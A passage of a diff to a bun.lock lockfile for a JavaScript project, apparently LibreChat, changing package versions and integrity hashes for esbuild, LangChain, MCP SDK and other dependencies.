- "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.27.3", "", { "os": "none", "cpu": "x64" }, "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA=="],
+ "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.1", "", { "os": "none", "cpu": "x64" }, "sha512-X53z6uXip6KFXBQ+Krbx25XHV/NCbzryM6ehOAeAil7X7oa4XIq+394PWGnwaSQ2WRA0KI6PUO6hTO5zeF5ijA=="],
- "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.27.3", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw=="],
+ "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-Na9T3szbXezdzM/Kfs3GcRQNjHzM6GzFBeU1/6IV/npKP5ORtp9zbQjvkDJ47s6BCgaAZnnnu/cY1x342+MvZg=="],
- "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.27.3", "", { "os": "openbsd", "cpu": "x64" }, "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ=="],
+ "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-T3H78X2h1tszfRSf+txbt5aOp/e7TAz3ptVKu9Oyir3IAOFPGV6O9c2naym5TOriy1l0nNf6a4X5UXRZSGX/dw=="],
- "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.27.3", "", { "os": "none", "cpu": "arm64" }, "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g=="],
+ "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-2H3RUvcmULO7dIE5EWJH8eubZAI4xw54H1ilJnRNZdeo8dTADEZ21w6J22XBkXqGJbe0+wnNJtw3UXRoLJnFEg=="],
- "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.27.3", "", { "os": "sunos", "cpu": "x64" }, "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA=="],
+ "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-GE7XvrdOzrb+yVKB9KsRMq+7a2U/K5Cf/8grVFRAGJmfADr/e/ODQ134RK2/eeHqYV5eQRFxb1hY7Nr15fv1NQ=="],
- "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.27.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA=="],
+ "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-uOxSJCIcavSiT6UnBhBzE8wy3n0hOkJsBOzy7HDAuTDE++1DJMRRVCPGisULScHL+a/ZwdXPpXD3IyFKjA7K8A=="],
- "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.27.3", "", { "os": "win32", "cpu": "ia32" }, "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q=="],
-
- "@esbuild/win32-x64": ["@esbuild/win32-x64@0.27.3", "", { "os": "win32", "cpu": "x64" }, "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA=="],
+ "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.1", "", { "os": "win32", "cpu": "x64" }, "sha512-Y1EQdcfwMSeQN/ujR5VayLOJ1BHaK+ssyk0AEzPjC+t1lITgsnccPqFjb6V+LsTp/9Iov4ysfjxLaGJ9RPtkVg=="],
"@eslint-community/eslint-utils": ["@eslint-community/eslint-utils@4.9.0", "", { "dependencies": { "eslint-visitor-keys": "^3.4.3" }, "peerDependencies": { "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g=="],
@@ -1207,7 +1125,7 @@
"@eslint/core": ["@eslint/core@0.17.0", "", { "dependencies": { "@types/json-schema": "^7.0.15" } }, "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ=="],
- "@eslint/eslintrc": ["@eslint/eslintrc@3.3.5", "", { "dependencies": { "ajv": "^6.14.0", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.1", "minimatch": "^3.1.5", "strip-json-comments": "^3.1.1" } }, "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg=="],
+ "@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="],
"@eslint/js": ["@eslint/js@9.39.1", "", {}, "sha512-S26Stp4zCy88tH94QbBv3XCuzRQiZ9yXofEILmglYTh/Ug/a9/umqvgFtYBAo3Lp0nsI/5/qH1CCrbdK3AP1Tw=="],
@@ -1313,19 +1231,17 @@
"@floating-ui/utils": ["@floating-ui/utils@0.2.8", "", {}, "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="],
- "@google/genai": ["@google/genai@1.44.0", "", { "dependencies": { "google-auth-library": "^10.3.0", "p-retry": "^4.6.2", "protobufjs": "^7.5.4", "ws": "^8.18.0" }, "peerDependencies": { "@modelcontextprotocol/sdk": "^1.25.2" }, "optionalPeers": ["@modelcontextprotocol/sdk"] }, "sha512-kRt9ZtuXmz+tLlcNntN/VV4LRdpl6ZOu5B1KbfNgfR65db15O6sUQcwnwLka8sT/V6qysD93fWrgJHF2L7dA9A=="],
-
"@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="],
+ "@googleapis/youtube": ["@googleapis/youtube@20.0.0", "", { "dependencies": { "googleapis-common": "^7.0.0" } }, "sha512-wdt1J0JoKYhvpoS2XIRHX0g/9ul/B0fQeeJAhuuBIdYINuuLt6/oZYZZCBmkuhtkA3IllXgqgAXOjLtLRAnR2g=="],
+
"@grpc/grpc-js": ["@grpc/grpc-js@1.9.15", "", { "dependencies": { "@grpc/proto-loader": "^0.7.8", "@types/node": ">=12.12.47" } }, "sha512-nqE7Hc0AzI+euzUwDAy0aY5hCp10r734gMGRdU+qOPX0XSceI2ULrcXB5U2xSc5VkWwalCj4M7GzCAygZl2KoQ=="],
"@grpc/proto-loader": ["@grpc/proto-loader@0.7.13", "", { "dependencies": { "lodash.camelcase": "^4.3.0", "long": "^5.0.0", "protobufjs": "^7.2.5", "yargs": "^17.7.2" }, "bin": { "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" } }, "sha512-AiXO/bfe9bmxBjxxtYxFAXGZvMaN5s8kO+jBHAJCON8rJoB5YS/D6X7ZNc6XQkuHNmyl4CYaMI1fJ/Gn27RGGw=="],
- "@happy-dom/jest-environment": ["@happy-dom/jest-environment@20.8.3", "", { "dependencies": { "happy-dom": "^20.8.3" }, "peerDependencies": { "@jest/environment": ">=25.0.0", "@jest/fake-timers": ">=25.0.0", "@jest/types": ">=25.0.0", "jest-mock": ">=25.0.0", "jest-util": ">=25.0.0" } }, "sha512-VMOfNvF7UPPHIc7SUrFqGXqJrkONYX6Vd0ZXblmjgb1JA2RFnrc1KiVodzG0c7IT5Q0jfA0CQjvlqWjQ/BYtkQ=="],
-
"@headlessui/react": ["@headlessui/react@2.2.4", "", { "dependencies": { "@floating-ui/react": "^0.26.16", "@react-aria/focus": "^3.20.2", "@react-aria/interactions": "^3.25.0", "@tanstack/react-virtual": "^3.13.9", "use-sync-external-store": "^1.5.0" }, "peerDependencies": { "react": "^18 || ^19 || ^19.0.0-rc", "react-dom": "^18 || ^19 || ^19.0.0-rc" } }, "sha512-lz+OGcAH1dK93rgSMzXmm1qKOJkBUqZf1L4M8TWLNplftQD3IkoEDdUFNfAn4ylsN6WOTVtWaLmvmaHOUk1dTA=="],
- "@hono/node-server": ["@hono/node-server@1.19.11", "", { "peerDependencies": { "hono": "^4" } }, "sha512-dr8/3zEaB+p0D2n/IUrlPF1HZm586qgJNXK1a9fhg/PzdtkK7Ksd5l312tJX2yBuALqDYBlG20QEbayqPyxn+g=="],
+ "@hono/node-server": ["@hono/node-server@1.19.7", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vUcD0uauS7EU2caukW8z5lJKtoGMokxNbJtBiwHgpqxEXokaHCBkQUmCHhjFB1VUTWdqj25QoMkMKzgjq+uhrw=="],
"@humanfs/core": ["@humanfs/core@0.19.1", "", {}, "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA=="],
@@ -1335,10 +1251,6 @@
"@humanwhocodes/retry": ["@humanwhocodes/retry@0.4.3", "", {}, "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ=="],
- "@iconify/types": ["@iconify/types@2.0.0", "", {}, "sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg=="],
-
- "@iconify/utils": ["@iconify/utils@3.1.0", "", { "dependencies": { "@antfu/install-pkg": "^1.1.0", "@iconify/types": "^2.0.0", "mlly": "^1.8.0" } }, "sha512-Zlzem1ZXhI1iHeeERabLNzBHdOa4VhQbqAcOQaMKuTuyZCpwKbC2R4Dd0Zo3g9EAc+Y4fiarO8HIHRAth7+skw=="],
-
"@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.0.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ=="],
"@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.0.4" }, "os": "darwin", "cpu": "x64" }, "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q=="],
@@ -1403,7 +1315,7 @@
"@jest/expect-utils": ["@jest/expect-utils@29.7.0", "", { "dependencies": { "jest-get-type": "^29.6.3" } }, "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA=="],
- "@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
+ "@jest/fake-timers": ["@jest/fake-timers@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@sinonjs/fake-timers": "^10.0.2", "@types/node": "*", "jest-message-util": "^29.7.0", "jest-mock": "^29.7.0", "jest-util": "^29.7.0" } }, "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ=="],
"@jest/get-type": ["@jest/get-type@30.1.0", "", {}, "sha512-eMbZE2hUnx1WV0pmURZY9XoXPkUYjpc55mb0CrhtdWLtzMQPFvu/rZkTLZFTsdaVQa+Tr4eWAteqcUzoawq/uA=="],
@@ -1447,7 +1359,7 @@
"@langchain/aws": ["@langchain/aws@0.1.15", "", { "dependencies": { "@aws-sdk/client-bedrock-agent-runtime": "^3.755.0", "@aws-sdk/client-bedrock-runtime": "^3.840.0", "@aws-sdk/client-kendra": "^3.750.0", "@aws-sdk/credential-provider-node": "^3.750.0" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-oyOMhTHP0rxdSCVI/g5KXYCOs9Kq/FpXMZbOk1JSIUoaIzUg4p6d98lsHu7erW//8NSaT+SX09QRbVDAgt7pNA=="],
- "@langchain/core": ["@langchain/core@0.3.80", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-vcJDV2vk1AlCwSh3aBm/urQ1ZrlXFFBocv11bz/NBUfLWD5/UDNMzwPdaAd2dKvNmTWa9FM2lirLU3+JCf4cRA=="],
+ "@langchain/core": ["@langchain/core@0.3.79", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-ZLAs5YMM5N2UXN3kExMglltJrKKoW7hs3KMZFlXUnD7a5DFKBYxPFMeXA4rT+uvTxuJRZPCYX0JKI5BhyAWx4A=="],
"@langchain/deepseek": ["@langchain/deepseek@0.0.2", "", { "dependencies": { "@langchain/openai": "^0.5.5" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-u13KbPUXW7uhcybbRzYdRroBgqVUSgG0SJM15c7Etld2yjRQC2c4O/ga9eQZdLh/kaDlQfH/ZITFdjHe77RnGw=="],
@@ -1493,7 +1405,7 @@
"@lezer/lr": ["@lezer/lr@1.4.2", "", { "dependencies": { "@lezer/common": "^1.0.0" } }, "sha512-pu0K1jCIdnQ12aWNaAVU5bzi7Bd1w54J3ECgANPmYLtQKP0HBj2cE/5coBD66MT10xbtIuUr7tg0Shbsvk0mDA=="],
- "@librechat/agents": ["@librechat/agents@3.1.62", "", { "dependencies": { "@anthropic-ai/sdk": "^0.73.0", "@aws-sdk/client-bedrock-runtime": "^3.1013.0", "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.80", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "@scarf/scarf": "^1.4.0", "ai-tokenizer": "^1.0.6", "axios": "^1.13.5", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "okapibm25": "^1.4.1", "openai": "5.8.2" } }, "sha512-QBZlJ4C89GmBg9w2qoWOWl1Y1xiRypUtIMBsL6eLPIsdbKHJ+GYO+076rfSD+tMqZB5ZbrxqPWOh+gxEXK1coQ=="],
+ "@librechat/agents": ["@librechat/agents@3.0.50", "", { "dependencies": { "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.79", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "axios": "^1.12.1", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "openai": "5.8.2" } }, "sha512-oovj3BsP/QoxPbWFAc71Ddplwd9BT8ucfYs+n+kiR37aCWtvxdvL9/XldRYfnaq9boNE324njQJyqc8v8AAPFQ=="],
"@librechat/api": ["@librechat/api@workspace:packages/api"],
@@ -1509,44 +1421,14 @@
"@mcp-ui/client": ["@mcp-ui/client@5.7.0", "", { "dependencies": { "@modelcontextprotocol/sdk": "*", "@quilted/threads": "^3.1.3", "@r2wc/react-to-web-component": "^2.0.4", "@remote-dom/core": "^1.8.0", "@remote-dom/react": "^1.2.2", "react": "^18.3.1", "react-dom": "^18.3.1" } }, "sha512-+HbPw3VS46WUSWmyJ34ZVnygb81QByA3luR6y0JDbyDZxjYtHw1FcIN7v9WbbE8PrfI0WcuWCSiNOO6sOGbwpQ=="],
- "@mermaid-js/parser": ["@mermaid-js/parser@1.0.1", "", { "dependencies": { "langium": "^4.0.0" } }, "sha512-opmV19kN1JsK0T6HhhokHpcVkqKpF+x2pPDKKM2ThHtZAB5F4PROopk0amuVYK5qMrIA4erzpNm8gmPNJgMDxQ=="],
-
"@microsoft/microsoft-graph-client": ["@microsoft/microsoft-graph-client@3.0.7", "", { "dependencies": { "@babel/runtime": "^7.12.5", "tslib": "^2.2.0" } }, "sha512-/AazAV/F+HK4LIywF9C+NYHcJo038zEnWkteilcxC1FM/uK/4NVGDKGrxx7nNq1ybspAroRKT4I1FHfxQzxkUw=="],
"@mistralai/mistralai": ["@mistralai/mistralai@1.10.0", "", { "dependencies": { "zod": "^3.20.0", "zod-to-json-schema": "^3.24.1" } }, "sha512-tdIgWs4Le8vpvPiUEWne6tK0qbVc+jMenujnvTqOjogrJUsCSQhus0tHTU1avDDh5//Rq2dFgP9mWRAdIEoBqg=="],
- "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.27.1", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-sr6GbP+4edBwFndLbM60gf07z0FQ79gaExpnsjMGePXqFcSSb7t6iscpjk9DhFhwd+mTEQrzNafGP8/iGGFYaA=="],
-
- "@monaco-editor/loader": ["@monaco-editor/loader@1.7.0", "", { "dependencies": { "state-local": "^1.0.6" } }, "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA=="],
-
- "@monaco-editor/react": ["@monaco-editor/react@4.7.0", "", { "dependencies": { "@monaco-editor/loader": "^1.5.0" }, "peerDependencies": { "monaco-editor": ">= 0.25.0 < 1", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA=="],
+ "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.25.0", "", { "dependencies": { "@hono/node-server": "^1.19.7", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "jose": "^6.1.1", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.0" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-z0Zhn/LmQ3yz91dEfd5QgS7DpSjA4pk+3z2++zKgn5L6iDFM9QapsVoAQSbKLvlrFsZk9+ru6yHHWNq2lCYJKQ=="],
"@mongodb-js/saslprep": ["@mongodb-js/saslprep@1.3.1", "", { "dependencies": { "sparse-bitfield": "^3.0.3" } }, "sha512-6nZrq5kfAz0POWyhljnbWQQJQ5uT8oE2ddX303q1uY0tWsivWKgBDXBBvuFPwOqRRalXJuVO9EjOdVtuhLX0zg=="],
- "@napi-rs/canvas": ["@napi-rs/canvas@0.1.96", "", { "optionalDependencies": { "@napi-rs/canvas-android-arm64": "0.1.96", "@napi-rs/canvas-darwin-arm64": "0.1.96", "@napi-rs/canvas-darwin-x64": "0.1.96", "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.96", "@napi-rs/canvas-linux-arm64-gnu": "0.1.96", "@napi-rs/canvas-linux-arm64-musl": "0.1.96", "@napi-rs/canvas-linux-riscv64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-musl": "0.1.96", "@napi-rs/canvas-win32-arm64-msvc": "0.1.96", "@napi-rs/canvas-win32-x64-msvc": "0.1.96" } }, "sha512-6NNmNxvoJKeucVjxaaRUt3La2i5jShgiAbaY3G/72s1Vp3U06XPrAIxkAjBxpDcamEn/t+WJ4OOlGmvILo4/Ew=="],
-
- "@napi-rs/canvas-android-arm64": ["@napi-rs/canvas-android-arm64@0.1.96", "", { "os": "android", "cpu": "arm64" }, "sha512-ew1sPrN3dGdZ3L4FoohPfnjq0f9/Jk7o+wP7HkQZokcXgIUD6FIyICEWGhMYzv53j63wUcPvZeAwgewX58/egg=="],
-
- "@napi-rs/canvas-darwin-arm64": ["@napi-rs/canvas-darwin-arm64@0.1.96", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Q/wOXZ5PzTqpdmA5eUOcegCf4Go/zz3aZ5DlzSeDpOjFmfwMKh8EzLAoweQ+mJVagcHQyzoJhaTEnrO68TNyNg=="],
-
- "@napi-rs/canvas-darwin-x64": ["@napi-rs/canvas-darwin-x64@0.1.96", "", { "os": "darwin", "cpu": "x64" }, "sha512-UrXiQz28tQEvGM1qvyptewOAfmUrrd5+wvi6Rzjj2VprZI8iZ2KIvBD2lTTG1bVF95AbeDeG7PJA0D9sLKaOFA=="],
-
- "@napi-rs/canvas-linux-arm-gnueabihf": ["@napi-rs/canvas-linux-arm-gnueabihf@0.1.96", "", { "os": "linux", "cpu": "arm" }, "sha512-I90ODxweD8aEP6XKU/NU+biso95MwCtQ2F46dUvhec1HesFi0tq/tAJkYic/1aBSiO/1kGKmSeD1B0duOHhEHQ=="],
-
- "@napi-rs/canvas-linux-arm64-gnu": ["@napi-rs/canvas-linux-arm64-gnu@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-Dx/0+RFV++w3PcRy+4xNXkghhXjA5d0Mw1bs95emn5Llinp1vihMaA6WJt3oYv2LAHc36+gnrhIBsPhUyI2SGw=="],
-
- "@napi-rs/canvas-linux-arm64-musl": ["@napi-rs/canvas-linux-arm64-musl@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-UvOi7fii3IE2KDfEfhh8m+LpzSRvhGK7o1eho99M2M0HTik11k3GX+2qgVx9EtujN3/bhFFS1kSO3+vPMaJ0Mg=="],
-
- "@napi-rs/canvas-linux-riscv64-gnu": ["@napi-rs/canvas-linux-riscv64-gnu@0.1.96", "", { "os": "linux", "cpu": "none" }, "sha512-MBSukhGCQ5nRtf9NbFYWOU080yqkZU1PbuH4o1ROvB4CbPl12fchDR35tU83Wz8gWIM9JTn99lBn9DenPIv7Ig=="],
-
- "@napi-rs/canvas-linux-x64-gnu": ["@napi-rs/canvas-linux-x64-gnu@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-I/ccu2SstyKiV3HIeVzyBIWfrJo8cN7+MSQZPnabewWV6hfJ2nY7Df2WqOHmobBRUw84uGR6zfQHsUEio/m5Vg=="],
-
- "@napi-rs/canvas-linux-x64-musl": ["@napi-rs/canvas-linux-x64-musl@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-H3uov7qnTl73GDT4h52lAqpJPsl1tIUyNPWJyhQ6gHakohNqqRq3uf80+NEpzcytKGEOENP1wX3yGwZxhjiWEQ=="],
-
- "@napi-rs/canvas-win32-arm64-msvc": ["@napi-rs/canvas-win32-arm64-msvc@0.1.96", "", { "os": "win32", "cpu": "arm64" }, "sha512-ATp6Y+djOjYtkfV/VRH7CZ8I1MEtkUQBmKUbuWw5zWEHHqfL0cEcInE4Cxgx7zkNAhEdBbnH8HMVrqNp+/gwxA=="],
-
- "@napi-rs/canvas-win32-x64-msvc": ["@napi-rs/canvas-win32-x64-msvc@0.1.96", "", { "os": "win32", "cpu": "x64" }, "sha512-UYGdTltVd+Z8mcIuoqGmAXXUvwH5CLf2M6mIB5B0/JmX5J041jETjqtSYl7gN+aj3k1by/SG6sS0hAwCqyK7zw=="],
-
"@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@0.2.12", "", { "dependencies": { "@emnapi/core": "^1.4.3", "@emnapi/runtime": "^1.4.3", "@tybys/wasm-util": "^0.10.0" } }, "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ=="],
"@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="],
@@ -1665,7 +1547,7 @@
"@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.2", "@radix-ui/react-collapsible": "1.1.11", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-l3W5D54emV2ues7jjeG1xcyN7S3jnK3zE2zHqgn0CmMsy9lNJwmgcrmaxS+7ipw15FAivzKNzH3d5EcGoFKw0A=="],
- "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dialog": "1.0.2", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0MtxV53FaEEBOKRgyLnEqHZKKDS5BldQ9oUBsKVXWI5FHbl2jp35qs+0aJET+K5hJDsc40kQUzP7g+wC7tqrqA=="],
